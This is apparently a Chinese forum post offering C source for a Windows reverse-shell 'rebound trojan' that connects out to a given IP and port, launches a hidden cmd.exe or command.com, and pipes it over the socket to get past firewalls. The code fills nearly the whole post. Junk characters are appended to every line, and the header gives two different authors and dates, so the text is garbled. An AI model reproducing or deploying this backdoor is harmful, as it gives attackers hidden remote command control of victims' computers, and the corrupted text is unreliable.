这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &3Zb?
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/* ============================== e,e(t7c?d
Rebound port in Windows NT S=!WFKcJR
By wind,2006/7 <7\j\`
===============================*/ i3N{Dt
#include 3u/JcU-<
#include WT<}3(S'?
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#pragma comment(lib,"wsock32.lib") K_)~&Cu*'
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void OutputShell(); VRQ`-#
SOCKET sClient; WK`o3ayH-
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M8X6!"B$Y
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void main(int argc,char **argv) G^k'sgy.
{ 5+M,X kg
WSADATA stWsaData; s;OGb{H7
int nRet; L?d?O
SOCKADDR_IN stSaiClient,stSaiServer; }h45j84)
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if(argc != 3) lK=Is
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{ j*?8w(!
printf("Useage:\n\rRebound DestIP DestPort\n"); Jq&Hz$L|
return; ,Zn6T"[$
} vF$(
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WSAStartup(MAKEWORD(2,2),&stWsaData); FAdTm#tgW]
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1]Xx{j<
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stSaiClient.sin_family = AF_INET; }S uj=oFp
stSaiClient.sin_port = htons(0); MrHJ)x"hy
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Pl:4`oY3
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \s*UUODWK
{ B.r^'>jQ
printf("Bind Socket Failed!\n"); =SLG N`m3
return; D wJ^ W&*
} mBErU6?X,A
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stSaiServer.sin_family = AF_INET; BrE#.g Jq
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6v3l^~kc'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @@oJ@;
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) tVAo o-%
{ $UH:r
printf("Connect Error!"); y<FC7
return; 2@ZVEN
} Nz2V aZ
OutputShell(); U_*,XLU
} n>, :*5"G
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void OutputShell() D0jV}oz
{ RD:G9[
char szBuff[1024]; S=r0tao,!v
SECURITY_ATTRIBUTES stSecurityAttributes; e&z@yy$
OSVERSIONINFO stOsversionInfo; >wh v*@Fr
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; OK80-/8HI
STARTUPINFO stStartupInfo; "++\6H<
char *szShell; 1@L18%h
PROCESS_INFORMATION stProcessInformation; w&L~+Z<
unsigned long lBytesRead; O.B9w+G=
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); wH o}wp
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); JW[6
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stSecurityAttributes.lpSecurityDescriptor = 0; 6NX#=A
stSecurityAttributes.bInheritHandle = TRUE; Gf"TI:xa
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Wm6qy6HR
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5K1cPU~o_b
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O"'xAPQW
stStartupInfo.wShowWindow = SW_HIDE; 'd$RNqe
stStartupInfo.hStdInput = hReadPipe; ts,r,{
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; */M`KPW
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GetVersionEx(&stOsversionInfo); Kz42AC
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switch(stOsversionInfo.dwPlatformId) 1GK.:s6.f
{ /X_L>or
case 1: ]_h3
szShell = "command.com"; j2Dw7"f3
break; z+yq%O
default: kZG .Id
szShell = "cmd.exe"; d MR?pbD
break; 33DP?nI}
} 5=C?,1F$A
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); FB?~:7+'
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send(sClient,szMsg,77,0); 5c]:/9&
while(1) I/njyV)H
{ u"qVT9C$=
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]Kq<U%x$
if(lBytesRead) <{cY2cx~3
{ 6
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); o`c+eMwr(
send(sClient,szBuff,lBytesRead,0); ~Tt@v`}
} ,5$G0
else Fy{yg]O"
{ ;<garDf
lBytesRead=recv(sClient,szBuff,1024,0); R278 ^E
if(lBytesRead<=0) break; N-upNuv
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [<53_2]~
} >Y08/OAI.2
} YAc:QVT87
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return; L4Jm8sy{
}